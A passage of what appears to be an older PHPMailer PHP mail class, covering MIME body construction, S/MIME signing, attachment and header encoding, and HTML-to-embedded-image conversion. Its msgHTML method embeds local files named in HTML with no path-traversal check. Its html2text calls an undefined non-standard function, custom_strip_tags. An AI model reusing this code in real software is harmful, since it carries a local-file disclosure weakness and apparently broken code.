  1664.                 $body .= $this->LE . $this->LE;
  1665.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  1666.                 break;
  1667.             case 'attach':
  1668.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1669.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1670.                 $body .= $this->LE . $this->LE;
  1671.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1672.                 break;
  1673.             case 'inline_attach':
  1674.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1675.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1676.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1677.                 $body .= $this->LE;
  1678.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1679.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1680.                 $body .= $this->LE . $this->LE;
  1681.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1682.                 $body .= $this->LE;
  1683.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1684.                 break;
  1685.             case 'alt':
  1686.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1687.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1688.                 $body .= $this->LE . $this->LE;
  1689.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1690.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1691.                 $body .= $this->LE . $this->LE;
  1692.                 if (!empty($this->Ical)) {
  1693.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1694.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  1695.                     $body .= $this->LE . $this->LE;
  1696.                 }
  1697.                 $body .= $this->endBoundary($this->boundary[1]);
  1698.                 break;
  1699.             case 'alt_inline':
  1700.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1701.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1702.                 $body .= $this->LE . $this->LE;
  1703.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1704.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1705.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1706.                 $body .= $this->LE;
  1707.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1708.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1709.                 $body .= $this->LE . $this->LE;
  1710.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1711.                 $body .= $this->LE;
  1712.                 $body .= $this->endBoundary($this->boundary[1]);
  1713.                 break;
  1714.             case 'alt_attach':
  1715.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1716.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1717.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1718.                 $body .= $this->LE;
  1719.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1720.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1721.                 $body .= $this->LE . $this->LE;
  1722.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1723.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1724.                 $body .= $this->LE . $this->LE;
  1725.                 $body .= $this->endBoundary($this->boundary[2]);
  1726.                 $body .= $this->LE;
  1727.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1728.                 break;
  1729.             case 'alt_inline_attach':
  1730.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1731.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1732.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1733.                 $body .= $this->LE;
  1734.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1735.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1736.                 $body .= $this->LE . $this->LE;
  1737.                 $body .= $this->textLine('--' . $this->boundary[2]);
  1738.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1739.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1740.                 $body .= $this->LE;
  1741.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1742.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1743.                 $body .= $this->LE . $this->LE;
  1744.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  1745.                 $body .= $this->LE;
  1746.                 $body .= $this->endBoundary($this->boundary[2]);
  1747.                 $body .= $this->LE;
  1748.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1749.                 break;
  1750.             default:
  1751.                 // catch case 'plain' and case ''
  1752.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1753.                 break;
  1754.         }
  1755.         if ($this->isError()) {
  1756.             $body = '';
  1757.         } elseif ($this->sign_key_file) {
  1758.             try {
  1759.                 if (!defined('PKCS7_TEXT')) {
  1760.                     throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1761.                 }
  1762.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1763.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  1764.                 if (false === file_put_contents($file, $body)) {
  1765.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1766.                 }
  1767.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1768.                 if (@openssl_pkcs7_sign(
  1769.                     $file,
  1770.                     $signed,
  1771.                     'file://' . realpath($this->sign_cert_file),
  1772.                     array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1773.                     null
  1774.                 )
  1775.                 ) {
  1776.                     @unlink($file);
  1777.                     $body = file_get_contents($signed);
  1778.                     @unlink($signed);
  1779.                 } else {
  1780.                     @unlink($file);
  1781.                     @unlink($signed);
  1782.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1783.                 }
  1784.             } catch (phpmailerException $exc) {
  1785.                 $body = '';
  1786.                 if ($this->exceptions) {
  1787.                     throw $exc;
  1788.                 }
  1789.             }
  1790.         }
  1791.         return $body;
  1792.     }
  1793.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1794.     {
  1795.         $result = '';
  1796.         if ($charSet == '') {
  1797.             $charSet = $this->CharSet;
  1798.         }
  1799.         if ($contentType == '') {
  1800.             $contentType = $this->ContentType;
  1801.         }
  1802.         if ($encoding == '') {
  1803.             $encoding = $this->Encoding;
  1804.         }
  1805.         $result .= $this->textLine('--' . $boundary);
  1806.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1807.         $result .= $this->LE;
  1808.         // RFC1341 part 5 says 7bit is assumed if not specified
  1809.         if ($encoding != '7bit') {
  1810.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1811.         }
  1812.         $result .= $this->LE;
  1813.         return $result;
  1814.     }
  1815.     protected function endBoundary($boundary)
  1816.     {
  1817.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1818.     }
  1819.     protected function setMessageType()
  1820.     {
  1821.         $type = array();
  1822.         if ($this->alternativeExists()) {
  1823.             $type[] = 'alt';
  1824.         }
  1825.         if ($this->inlineImageExists()) {
  1826.             $type[] = 'inline';
  1827.         }
  1828.         if ($this->attachmentExists()) {
  1829.             $type[] = 'attach';
  1830.         }
  1831.         $this->message_type = implode('_', $type);
  1832.         if ($this->message_type == '') {
  1833.             $this->message_type = 'plain';
  1834.         }
  1835.     }
  1836.     public function headerLine($name, $value)
  1837.     {
  1838.         return $name . ': ' . $value . $this->LE;
  1839.     }
  1840.     public function textLine($value)
  1841.     {
  1842.         return $value . $this->LE;
  1843.     }
  1844.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1845.     {
  1846.         try {
  1847.             if (!@is_file($path)) {
  1848.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1849.             }
  1850.             // If a MIME type is not specified, try to work it out from the file name
  1851.             if ($type == '') {
  1852.                 $type = self::filenameToType($path);
  1853.             }
  1854.             $filename = basename($path);
  1855.             if ($name == '') {
  1856.                 $name = $filename;
  1857.             }
  1858.             $this->attachment[] = array(
  1859.                 0 => $path,
  1860.                 1 => $filename,
  1861.                 2 => $name,
  1862.                 3 => $encoding,
  1863.                 4 => $type,
  1864.                 5 => false, // isStringAttachment
  1865.                 6 => $disposition,
  1866.                 7 => 0
  1867.             );
  1868.         } catch (phpmailerException $exc) {
  1869.             $this->setError($exc->getMessage());
  1870.             $this->edebug($exc->getMessage());
  1871.             if ($this->exceptions) {
  1872.                 throw $exc;
  1873.             }
  1874.             return false;
  1875.         }
  1876.         return true;
  1877.     }
  1878.     public function getAttachments()
  1879.     {
  1880.         return $this->attachment;
  1881.     }
  1882.     protected function attachAll($disposition_type, $boundary)
  1883.     {
  1884.         // Return text of body
  1885.         $mime = array();
  1886.         $cidUniq = array();
  1887.         $incl = array();
  1888.         // Add all attachments
  1889.         foreach ($this->attachment as $attachment) {
  1890.             // Check if it is a valid disposition_filter
  1891.             if ($attachment[6] == $disposition_type) {
  1892.                 // Check for string attachment
  1893.                 $string = '';
  1894.                 $path = '';
  1895.                 $bString = $attachment[5];
  1896.                 if ($bString) {
  1897.                     $string = $attachment[0];
  1898.                 } else {
  1899.                     $path = $attachment[0];
  1900.                 }
  1901.                 $inclhash = md5(serialize($attachment));
  1902.                 if (in_array($inclhash, $incl)) {
  1903.                     continue;
  1904.                 }
  1905.                 $incl[] = $inclhash;
  1906.                 $name = $attachment[2];
  1907.                 $encoding = $attachment[3];
  1908.                 $type = $attachment[4];
  1909.                 $disposition = $attachment[6];
  1910.                 $cid = $attachment[7];
  1911.                 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1912.                     continue;
  1913.                 }
  1914.                 $cidUniq[$cid] = true;
  1915.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1916.                 $mime[] = sprintf(
  1917.                     'Content-Type: %s; name="%s"%s',
  1918.                     $type,
  1919.                     $this->encodeHeader($this->secureHeader($name)),
  1920.                     $this->LE
  1921.                 );
  1922.                 // RFC1341 part 5 says 7bit is assumed if not specified
  1923.                 if ($encoding != '7bit') {
  1924.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1925.                 }
  1926.                 if ($disposition == 'inline') {
  1927.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1928.                 }
  1929.                 // If a filename contains any of these chars, it should be quoted,
  1930.                 // but not otherwise: RFC2183 & RFC2045 5.1
  1931.                 // Fixes a warning in IETF's msglint MIME checker
  1932.                 // Allow for bypassing the Content-Disposition header totally
  1933.                 if (!(empty($disposition))) {
  1934.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1935.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1936.                         $mime[] = sprintf(
  1937.                             'Content-Disposition: %s; filename="%s"%s',
  1938.                             $disposition,
  1939.                             $encoded_name,
  1940.                             $this->LE . $this->LE
  1941.                         );
  1942.                     } else {
  1943.                         $mime[] = sprintf(
  1944.                             'Content-Disposition: %s; filename=%s%s',
  1945.                             $disposition,
  1946.                             $encoded_name,
  1947.                             $this->LE . $this->LE
  1948.                         );
  1949.                     }
  1950.                 } else {
  1951.                     $mime[] = $this->LE;
  1952.                 }
  1953.                 // Encode as string attachment
  1954.                 if ($bString) {
  1955.                     $mime[] = $this->encodeString($string, $encoding);
  1956.                     if ($this->isError()) {
  1957.                         return '';
  1958.                     }
  1959.                     $mime[] = $this->LE . $this->LE;
  1960.                 } else {
  1961.                     $mime[] = $this->encodeFile($path, $encoding);
  1962.                     if ($this->isError()) {
  1963.                         return '';
  1964.                     }
  1965.                     $mime[] = $this->LE . $this->LE;
  1966.                 }
  1967.             }
  1968.         }
  1969.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1970.         return implode('', $mime);
  1971.     }
  1972.     protected function encodeFile($path, $encoding = 'base64')
  1973.     {
  1974.         try {
  1975.             if (!is_readable($path)) {
  1976.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1977.             }
  1978.             $magic_quotes = get_magic_quotes_runtime();
  1979.             if ($magic_quotes) {
  1980.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1981.                     set_magic_quotes_runtime(false);
  1982.                 } else {
  1983.                     ini_set('magic_quotes_runtime', 0);
  1984.                 }
  1985.             }
  1986.             $file_buffer = file_get_contents($path);
  1987.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  1988.             if ($magic_quotes) {
  1989.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1990.                     set_magic_quotes_runtime($magic_quotes);
  1991.                 } else {
  1992.                     ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  1993.                 }
  1994.             }
  1995.             return $file_buffer;
  1996.         } catch (Exception $exc) {
  1997.             $this->setError($exc->getMessage());
  1998.             return '';
  1999.         }
  2000.     }
  2001.     public function encodeString($str, $encoding = 'base64')
  2002.     {
  2003.         $encoded = '';
  2004.         switch (strtolower($encoding)) {
  2005.             case 'base64':
  2006.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2007.                 break;
  2008.             case '7bit':
  2009.             case '8bit':
  2010.                 $encoded = $this->fixEOL($str);
  2011.                 // Make sure it ends with a line break
  2012.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2013.                     $encoded .= $this->LE;
  2014.                 }
  2015.                 break;
  2016.             case 'binary':
  2017.                 $encoded = $str;
  2018.                 break;
  2019.             case 'quoted-printable':
  2020.                 $encoded = $this->encodeQP($str);
  2021.                 break;
  2022.             default:
  2023.                 $this->setError($this->lang('encoding') . $encoding);
  2024.                 break;
  2025.         }
  2026.         return $encoded;
  2027.     }
  2028.     public function encodeHeader($str, $position = 'text')
  2029.     {
  2030.         $matchcount = 0;
  2031.         switch (strtolower($position)) {
  2032.             case 'phrase':
  2033.                 if (!preg_match('/[\200-\377]/', $str)) {
  2034.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2035.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2036.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2037.                         return ($encoded);
  2038.                     } else {
  2039.                         return ("\"$encoded\"");
  2040.                     }
  2041.                 }
  2042.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2043.                 break;
  2044.             /** @noinspection PhpMissingBreakStatementInspection */
  2045.             case 'comment':
  2046.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2047.                 // Intentional fall-through
  2048.             case 'text':
  2049.             default:
  2050.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2051.                 break;
  2052.         }
  2053.         if ($matchcount == 0) { // There are no chars that need encoding
  2054.             return ($str);
  2055.         }
  2056.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2057.         // Try to select the encoding which should produce the shortest output
  2058.         if ($matchcount > strlen($str) / 3) {
  2059.             // More than a third of the content will need encoding, so B encoding will be most efficient
  2060.             $encoding = 'B';
  2061.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2062.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2063.             } else {
  2064.                 $encoded = base64_encode($str);
  2065.                 $maxlen -= $maxlen % 4;
  2066.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2067.             }
  2068.         } else {
  2069.             $encoding = 'Q';
  2070.             $encoded = $this->encodeQ($str, $position);
  2071.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2072.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2073.         }
  2074.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2075.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2076.         return $encoded;
  2077.     }
  2078.  
  2079.     public function hasMultiBytes($str)
  2080.     {
  2081.         if (function_exists('mb_strlen')) {
  2082.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2083.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2084.             return false;
  2085.         }
  2086.     }
  2087.  
  2088.     public function has8bitChars($text)
  2089.     {
  2090.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2091.     }
  2092.  
  2093.     public function base64EncodeWrapMB($str, $linebreak = null)
  2094.     {
  2095.         $start = '=?' . $this->CharSet . '?B?';
  2096.         $end = '?=';
  2097.         $encoded = '';
  2098.         if ($linebreak === null) {
  2099.             $linebreak = $this->LE;
  2100.         }
  2101.         $mb_length = mb_strlen($str, $this->CharSet);
  2102.         // Each line must have length <= 75, including $start and $end
  2103.         $length = 75 - strlen($start) - strlen($end);
  2104.         // Average multi-byte ratio
  2105.         $ratio = $mb_length / strlen($str);
  2106.         // Base64 has a 4:3 ratio
  2107.         $avgLength = floor($length * $ratio * .75);
  2108.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2109.             $lookBack = 0;
  2110.             do {
  2111.                 $offset = $avgLength - $lookBack;
  2112.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2113.                 $chunk = base64_encode($chunk);
  2114.                 $lookBack++;
  2115.             } while (strlen($chunk) > $length);
  2116.             $encoded .= $chunk . $linebreak;
  2117.         }
  2118.         // Chomp the last linefeed
  2119.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2120.         return $encoded;
  2121.     }
  2122.  
  2123.     public function encodeQP($string, $line_max = 76)
  2124.     {
  2125.         if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2126.             return $this->fixEOL(quoted_printable_encode($string));
  2127.         }
  2128.         // Fall back to a pure PHP implementation
  2129.         $string = str_replace(
  2130.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2131.             array(' ', "\r\n=2E", "\r\n", '='),
  2132.             rawurlencode($string)
  2133.         );
  2134.         $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2135.         return $this->fixEOL($string);
  2136.     }
  2137.  
  2138.     public function encodeQPphp(
  2139.         $string,
  2140.         $line_max = 76,
  2141.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2142.     ) {
  2143.         return $this->encodeQP($string, $line_max);
  2144.     }
  2145.  
  2146.     public function encodeQ($str, $position = 'text')
  2147.     {
  2148.         // There should not be any EOL in the string
  2149.         $pattern = '';
  2150.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2151.         switch (strtolower($position)) {
  2152.             case 'phrase':
  2153.                 // RFC 2047 section 5.3
  2154.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2155.                 break;
  2156.             /** @noinspection PhpMissingBreakStatementInspection */
  2157.             case 'comment':
  2158.                 // RFC 2047 section 5.2
  2159.                 $pattern = '\(\)"';
  2160.             case 'text':
  2161.             default:
  2162.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2163.                 break;
  2164.         }
  2165.         $matches = array();
  2166.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2167.             $eqkey = array_search('=', $matches[0]);
  2168.             if (false !== $eqkey) {
  2169.                 unset($matches[0][$eqkey]);
  2170.                 array_unshift($matches[0], '=');
  2171.             }
  2172.             foreach (array_unique($matches[0]) as $char) {
  2173.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2174.             }
  2175.         }
  2176.         // Replace every spaces to _ (more readable than =20)
  2177.         return str_replace(' ', '_', $encoded);
  2178.     }
  2179.  
  2180.     public function addStringAttachment(
  2181.         $string,
  2182.         $filename,
  2183.         $encoding = 'base64',
  2184.         $type = '',
  2185.         $disposition = 'attachment'
  2186.     ) {
  2187.         // If a MIME type is not specified, try to work it out from the file name
  2188.         if ($type == '') {
  2189.             $type = self::filenameToType($filename);
  2190.         }
  2191.         // Append to $attachment array
  2192.         $this->attachment[] = array(
  2193.             0 => $string,
  2194.             1 => $filename,
  2195.             2 => basename($filename),
  2196.             3 => $encoding,
  2197.             4 => $type,
  2198.             5 => true, // isStringAttachment
  2199.             6 => $disposition,
  2200.             7 => 0
  2201.         );
  2202.     }
  2203.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2204.     {
  2205.         if (!@is_file($path)) {
  2206.             $this->setError($this->lang('file_access') . $path);
  2207.             return false;
  2208.         }
  2209.         // If a MIME type is not specified, try to work it out from the file name
  2210.         if ($type == '') {
  2211.             $type = self::filenameToType($path);
  2212.         }
  2213.         $filename = basename($path);
  2214.         if ($name == '') {
  2215.             $name = $filename;
  2216.         }
  2217.         // Append to $attachment array
  2218.         $this->attachment[] = array(
  2219.             0 => $path,
  2220.             1 => $filename,
  2221.             2 => $name,
  2222.             3 => $encoding,
  2223.             4 => $type,
  2224.             5 => false, // isStringAttachment
  2225.             6 => $disposition,
  2226.             7 => $cid
  2227.         );
  2228.         return true;
  2229.     }
  2230.  
  2231.     public function addStringEmbeddedImage(
  2232.         $string,
  2233.         $cid,
  2234.         $name = '',
  2235.         $encoding = 'base64',
  2236.         $type = '',
  2237.         $disposition = 'inline'
  2238.     ) {
  2239.         // If a MIME type is not specified, try to work it out from the name
  2240.         if ($type == '') {
  2241.             $type = self::filenameToType($name);
  2242.         }
  2243.         // Append to $attachment array
  2244.         $this->attachment[] = array(
  2245.             0 => $string,
  2246.             1 => $name,
  2247.             2 => $name,
  2248.             3 => $encoding,
  2249.             4 => $type,
  2250.             5 => true, // isStringAttachment
  2251.             6 => $disposition,
  2252.             7 => $cid
  2253.         );
  2254.         return true;
  2255.     }
  2256.     public function inlineImageExists()
  2257.     {
  2258.         foreach ($this->attachment as $attachment) {
  2259.             if ($attachment[6] == 'inline') {
  2260.                 return true;
  2261.             }
  2262.         }
  2263.         return false;
  2264.     }
  2265.     public function attachmentExists()
  2266.     {
  2267.         foreach ($this->attachment as $attachment) {
  2268.             if ($attachment[6] == 'attachment') {
  2269.                 return true;
  2270.             }
  2271.         }
  2272.         return false;
  2273.     }
  2274.     public function alternativeExists()
  2275.     {
  2276.         return !empty($this->AltBody);
  2277.     }
  2278.     public function clearAddresses()
  2279.     {
  2280.         foreach ($this->to as $to) {
  2281.             unset($this->all_recipients[strtolower($to[0])]);
  2282.         }
  2283.         $this->to = array();
  2284.     }
  2285.     public function clearCCs()
  2286.     {
  2287.         foreach ($this->cc as $cc) {
  2288.             unset($this->all_recipients[strtolower($cc[0])]);
  2289.         }
  2290.         $this->cc = array();
  2291.     }
  2292.     public function clearBCCs()
  2293.     {
  2294.         foreach ($this->bcc as $bcc) {
  2295.             unset($this->all_recipients[strtolower($bcc[0])]);
  2296.         }
  2297.         $this->bcc = array();
  2298.     }
  2299.     public function clearReplyTos()
  2300.     {
  2301.         $this->ReplyTo = array();
  2302.     }
  2303.  
  2304.     public function clearAllRecipients()
  2305.     {
  2306.         $this->to = array();
  2307.         $this->cc = array();
  2308.         $this->bcc = array();
  2309.         $this->all_recipients = array();
  2310.     }
  2311.     public function clearAttachments()
  2312.     {
  2313.         $this->attachment = array();
  2314.     }
  2315.     public function clearCustomHeaders()
  2316.     {
  2317.         $this->CustomHeader = array();
  2318.     }
  2319.     protected function setError($msg)
  2320.     {
  2321.         $this->error_count++;
  2322.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2323.             $lasterror = $this->smtp->getError();
  2324.             if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2325.                 $msg .= '
  2326. ' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "
  2327.  
  2328. \n";
  2329.             }
  2330.         }
  2331.         $this->ErrorInfo = $msg;
  2332.     }
  2333.     public static function rfcDate()
  2334.     {
  2335.         // Set the time zone to whatever the default is to avoid 500 errors
  2336.         // Will default to UTC if it's not set properly in php.ini
  2337.         date_default_timezone_set(@date_default_timezone_get());
  2338.         return date('D, j M Y H:i:s O');
  2339.     }
  2340.     protected function serverHostname()
  2341.     {
  2342.         $result = 'localhost.localdomain';
  2343.         if (!empty($this->Hostname)) {
  2344.             $result = $this->Hostname;
  2345.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2346.             $result = $_SERVER['SERVER_NAME'];
  2347.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  2348.             $result = gethostname();
  2349.         } elseif (php_uname('n') !== false) {
  2350.             $result = php_uname('n');
  2351.         }
  2352.         return $result;
  2353.     }
  2354.     protected function lang($key)
  2355.     {
  2356.         if (count($this->language) < 1) {
  2357.             $this->setLanguage('en'); // set the default language
  2358.         }
  2359.         if (isset($this->language[$key])) {
  2360.             return $this->language[$key];
  2361.         } else {
  2362.             return 'Language string failed to load: ' . $key;
  2363.         }
  2364.     }
  2365.     public function isError()
  2366.     {
  2367.         return ($this->error_count > 0);
  2368.     }
  2369.     public function fixEOL($str)
  2370.     {
  2371.         // Normalise to \n
  2372.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2373.         // Now convert LE as needed
  2374.         if ($this->LE !== "\n") {
  2375.             $nstr = str_replace("\n", $this->LE, $nstr);
  2376.         }
  2377.         return $nstr;
  2378.     }
  2379.  
  2380.     public function addCustomHeader($name, $value = null)
  2381.     {
  2382.         if ($value === null) {
  2383.             // Value passed in as name:value
  2384.             $this->CustomHeader[] = explode(':', $name, 2);
  2385.         } else {
  2386.             $this->CustomHeader[] = array($name, $value);
  2387.         }
  2388.     }
  2389.     public function msgHTML($message, $basedir = '', $advanced = false)
  2390.     {
  2391.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2392.         if (isset($images[2])) {
  2393.             foreach ($images[2] as $imgindex => $url) {
  2394.                 // Convert data URIs into embedded images
  2395.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2396.                     $data = substr($url, strpos($url, ','));
  2397.                     if ($match[2]) {
  2398.                         $data = base64_decode($data);
  2399.                     } else {
  2400.                         $data = rawurldecode($data);
  2401.                     }
  2402.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2403.                     if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2404.                         $message = str_replace(
  2405.                             $images[0][$imgindex],
  2406.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2407.                             $message
  2408.                         );
  2409.                     }
  2410.                 } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2411.                     // Do not change urls for absolute images (thanks to corvuscorax)
  2412.                     $filename = basename($url);
  2413.                     $directory = dirname($url);
  2414.                     if ($directory == '.') {
  2415.                         $directory = '';
  2416.                     }
  2417.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2418.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2419.                         $basedir .= '/';
  2420.                     }
  2421.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2422.                         $directory .= '/';
  2423.                     }
  2424.                     if ($this->addEmbeddedImage(
  2425.                         $basedir . $directory . $filename,
  2426.                         $cid,
  2427.                         $filename,
  2428.                         'base64',
  2429.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2430.                     )
  2431.                     ) {
  2432.                         $message = preg_replace(
  2433.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2434.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2435.                             $message
  2436.                         );
  2437.                     }
  2438.                 }
  2439.             }
  2440.         }
  2441.         $this->isHTML(true);
  2442.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2443.         $this->Body = $this->normalizeBreaks($message);
  2444.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2445.         if (empty($this->AltBody)) {
  2446.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2447.                 self::CRLF . self::CRLF;
  2448.         }
  2449.         return $this->Body;
  2450.     }
  2451.  
  2452.     public function html2text($html, $advanced = false)
  2453.     {
  2454.         if (is_callable($advanced)) {
  2455.             return call_user_func($advanced, $html);
  2456.         }
  2457.         return html_entity_decode(
  2458.             trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2459.             ENT_QUOTES,
  2460.             $this->CharSet
  2461.         );
  2462.     }
  2463.  
  2464.     public static function _mime_types($ext = '')
  2465.     {
  2466.         $mimes = array(
  2467.             'xl'    => 'application/excel',
  2468.             'js'    => 'application/javascript',
  2469.             'hqx'   => 'application/mac-binhex40',
  2470.             'cpt'   => 'application/mac-compactpro',
  2471.             'bin'   => 'application/macbinary',
  2472.             'doc'   => 'application/msword',
  2473.             'word'  => 'application/msword',
  2474.             'class' => 'application/octet-stream',
  2475.             'dll'   => 'application/octet-stream',
  2476.             'dms'   => 'application/octet-stream',
  2477.             'exe'   => 'application/octet-stream',
  2478.             'lha'   => 'application/octet-stream',
  2479.             'lzh'   => 'application/octet-stream',
  2480.             'psd'   => 'application/octet-stream',
  2481.             'sea'   => 'application/octet-stream',
  2482.             'so'    => 'application/octet-stream',
  2483.             'oda'   => 'application/oda',
  2484.             'pdf'   => 'application/pdf',
  2485.             'ai'    => 'application/postscript',
